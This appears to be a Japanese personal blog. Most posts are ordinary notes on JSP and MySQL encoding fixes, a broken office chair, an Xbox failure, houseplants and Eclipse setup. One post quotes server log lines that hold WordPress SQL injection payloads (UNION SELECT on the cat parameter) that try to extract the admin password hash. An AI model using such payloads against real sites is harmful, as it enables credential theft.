ウェブブラウザの違いによる文字化け

ウェブアプリケーションを作成する場合には避けては通れない問題の一つに文字化けがある。日本語データをクライアントとサーバでやりとりする場合にはURLエンコードをする必要があるので、それをデコードしたりする場合に問題が高確率で発生する。jspによるウェブアプリケーション作成時にも文字化けの問題が発生したのでメモ。

クライアントからデータをpostする場合に、ブラウザによって文字が化ける場合と化けない場合がある。request.getParameter(“Value”)でクライアントから送られた日本語データをサーバで受け取った場合に通常の状態ではfirefoxでは文字化けせずに受け取ることができたが、その他のブラウザ(ie,opera,safari)では文字化けが発生してしまった。サーバ側でrequest.getCharacterEncoding()の値を確認してみたところ、firefoxには文字コードが指定されていたが、その他のブラウザの場合は値がnullとなっていた。ならば、サーバ側でrequest.setCharacterEncoding(“UTF-8”)とすれば問題解決かと思ったけれど、そう簡単な問題でなく、サーバにリクエストが届く前にcharacterencodeingを指定しなければならない模様。

解決方法は、フィルタークラスを使って、リクエストの文字コードを指定してあげることで解決をすることができる。つまりviewからcontrollerへ命令を出す前に、文字コードの指定をしてからcontrollerへ値を渡すということになる。他にセンスが悪い解決方法としては、requestの環境変数からブラウザを判別して、問題のあるブラウザのみ文字コードの変換をするというのもあるけれど、これはブラウザの挙動を逐一チェックしなければならないので解決策が見つからない場合の最後の手段。とりあえずpostデータの文字化け問題はフィルタークラスを通すことで解決をすることが可能。

参考サイト

JavaでHello World サーブレット(フィルタ)編
http://www.hellohiro.com/filter.htm

Operation not allowed after ResultSet closed

mysqlにselect文を投げてその結果をresultsetオブジェクトに格納して、その内容をjspページに表示させようとしたときにOperation not allowed after ResultSet closedというエラーが発生した。駄目なのか。resultsetを単なるオブジェクトとして、vbで言うところのrecordsetのような感じで扱うことはできない模様。データベースへのコネクションとステートメントを確立してresultsetに結果を放り込む、この一連の経過でのみresultsetは扱うことができる模様。コネクションとステートメントを切断すると同時にresultsetもcloseされてしまう。

代替案として、多重配列でresultsetの内容をセットしておくという方法を採ることにした。

抽斗の意味

ネットで調べ物をしていたら「抽斗」という見慣れない言葉が使われていた。なんて読むのかわからなかったので国語辞書で検索をかけてみてもヒットしない。googleで調べていると、どうやら「引き出し」という意味らしい。国語辞書にも載っていないらしく調べるのに苦労した。

ハーマンミラー:セラチェアの昇降機能の故障

0722-002.jpgセラチェアを購入した。そしていきなり故障した。故障箇所は座面右側にある昇降レバー。使用はじめて数時間で変な音とともに昇降レバーが反応しなくなった。右の画像は壊れた直後の状態。昇降レバーから伸びるケーブルが本体部分につながるようになっているけれど、それを支えるゴムでできた接合部分が外れてしまった。これを正しくはめ直せばまた昇降機能は元通り動くようになるだろうけれど、意外に直せない。可能な範囲で元に戻すべく挑戦してみたけれど、直すには何か工具を使うか分解するかという方法をとらないことには無理だと判断した。工具で買ったばかりの椅子を傷だらけにするのも、分解して製品保証を無効にするのも、どちらも気が進まないのでおとなしく交換してもらうことに。

その後、新しくやってきたセラチェアの同じ部分を確認してみたところ、どうもこの部分は機構が脆弱にできている模様。リクライニングをしているうちにゴムの接合部分がずれてはずれそうな感じになる。セラチェアをこれから購入しようと検討している人は気に留めておいたら無難かもしれない。

xbox360のリングランプが赤く点滅して故障した

0722-021.jpgxbox360は故障が多いという噂は聞いていたけれど、私の所有するxbox360もついにその時が来てしまった。本体の電源を入れると、電源ボタン回りのリングが赤い点滅状態になり起動ができなくなってしまった。昨日まで普通に動いていたのにいきなりの故障。保証期間はとっくに切れているのでソニータイマーではなさそうだけれど、壊れるなら前もって兆候くらい現して欲しい。

0722-023.jpg赤リングが3つ点滅

mysqlへjdbc接続した場合に文字化けが発生する

私の環境の場合は文字コードは全てutf-8で運用していたけれど、jspのフォームからパラメータを送って、サーブレットでsqlのinsert文を実行し、結果が正しく反映されているかどうかmysql command line client から確認してみたところ、日本語の文字列が全て???に化けてしまっていた。jspとサーブレット、mysqlの文字コードは全てutf-8で統一しているにもかかわらず。色々と調べた結果、下記の内容をmysqlのmy.iniファイルに追記することで変化が現れた。

mysql-5.0.20を使いたいのですが、文字化けで困っております。日本語の文字が?になってしまいます。
●my.iniで、追加した項目

[client]

default-character-set=sjis

[mysqld]

skip-character-set-client-handshake

init-connect=SET NAMES sjis

これを追記したあとで再起動して、もういちどテストしてみると???のような文字化けではなくて”繝・せ繝・”のような文字化けに変わった。次にmysqlの変数を設定する。


mysql> show variables like 'char%';

+--------------------------+---------------------------------------------------------+
| Variable_name            | Value                                                   |
+--------------------------+---------------------------------------------------------+
| character_set_client     | utf8                                                    |
| character_set_connection | utf8                                                    |
| character_set_database   | utf8                                                    |
| character_set_filesystem | binary                                                  |
| character_set_results    | utf8                                                  |
| character_set_server     | utf8                                                    |
| character_set_system     | utf8                                                    |
| character_sets_dir       | C:Program FilesMySQLMySQL Server 5.0sharecharsets |
+--------------------------+---------------------------------------------------------+

上記が私の環境でのmysqlの文字コードの設定内容となっている。utf-8に揃えているのだけれど、character_set_resultsの値は接続するクライアントの環境の文字コードに合わせる必要がある。私の場合は、windows xpでmysql command line clientを使ってmysqlに接続している。つまり、コマンドプロンプトでmysqlを操作している。コマンドプロンプトは表示する文字コードがshift-jisに固定となっている。そのため、mysqlの変数のcharacter_set_resultsにsjisを設定しなければならない(コマンドプロンプト以外でアクセスする場合はそのクライアント端末によって変わることになる)


mysql> set character_set_results = sjis;


これで、なんとか文字化けの現象は回避できた。

sqlインジェクション

ns.km22518.keymachine.de - - [19/Jul/2008:22:25:12 +0900] "GET /wordpress/index.php?cat=%27+UNION+SELECT+CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58))+FROM+wp_users+where+id=1/* HTTP/1.1" 200 14883 "-" "Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)"
ns.km22518.keymachine.de - - [19/Jul/2008:22:25:14 +0900] "GET /wordpress/index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.1" 200 14877 "-" "Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)"

パスワードを割り出そうとしているのか。wordpressのユーザidの1番目のパスワードをselectで取得しようとしているのがログから読み取れる。

フレームワークの有効性

フレームワークを使う利点は、フレームワークを使わない場合の欠点を知らないと生きてこない。しかしそれを実感するには十分な知識と実践と時間が必要になる。ライブラリやフレームワークを使えば自然と開発の時間が短縮されて楽をできるという浅はかな考えは通用しない。例えばjspでウェブアプリケーションを作成するときにjstlやstrutsフレームワークといったものを使うことがある。jspについての経験の浅い私の目から見ればまったく別言語に見える。コードを簡潔にしたり、再利用をしたりということの恩恵を得られるようになるはまだまだ先のことのようだ。

こういう話もある。

コードの再利用

再利用可能な要素を求めてコードを読むことがあります。このときの鍵となる考え方として、「期待しすぎない」ことが大切です。コードを再利用できるという可能性は魅力的ですが、わかりにくい概念です。期待しすぎず、失望しないでください。再利用可能なコードを書くのは非常に大変なことです。何年にもわたって時の試練に耐え、複数の異なる場面で再利用されてきたソフトウェアは案外少ないものです。一般にソフトウェア部品が再利用可能な候補になるのは、きちんとした手続きを経て拡張され、2つか3つのシステムに繰り返し採用されてきた実績があるときです。その場限りの目的で開発されるソフトウェアでは、こうしたことはめったに起こりません。

ポトスの栽培-185日目

あれから水栽培から鉢に植え替えて、マーブルポトスも合流させたりその他のポトスも合わせたりと色々やってひとつの鉢で育てることにした。しかし、植え替えた鉢も既に限界に達してしまった。もう一回り大きな鉢に植え替えないとどうにもならない状況にまで育ってしまった。週に一回水を思いっきり鉢全体にぶっ掛けて室内の日当たりの良いところに置いていたら下の画像のようになった。丹精込めて育てたというより、むしろ勝手に育ったという感じ。

0419-001.jpg画像1枚目。3月辺りから急激に成長が早くなった。気温のせいだろうかと思う。

0419-002.jpg画像2枚目。蔓が支柱のてっぺんから折り返して地面に届くほどの長さになった。長いもので150cm程。

0419-003.jpg画像3枚目。

eclipseでtomcatプロジェクトの作成

Javaとtomcatはインストール済みであることを前提とする。

  1. eclipseのインストール
  2. eclipseの日本語化
  3. tomcatプラグインをeclipseにインストール
  4. tomcatプロジェクトを作成

[PR] Eclipse3.5ではじめるJavaプログラミング入門―Eclipse3.5 Galileo対応 (Java Programing Guide)

続きを読む eclipseでtomcatプロジェクトの作成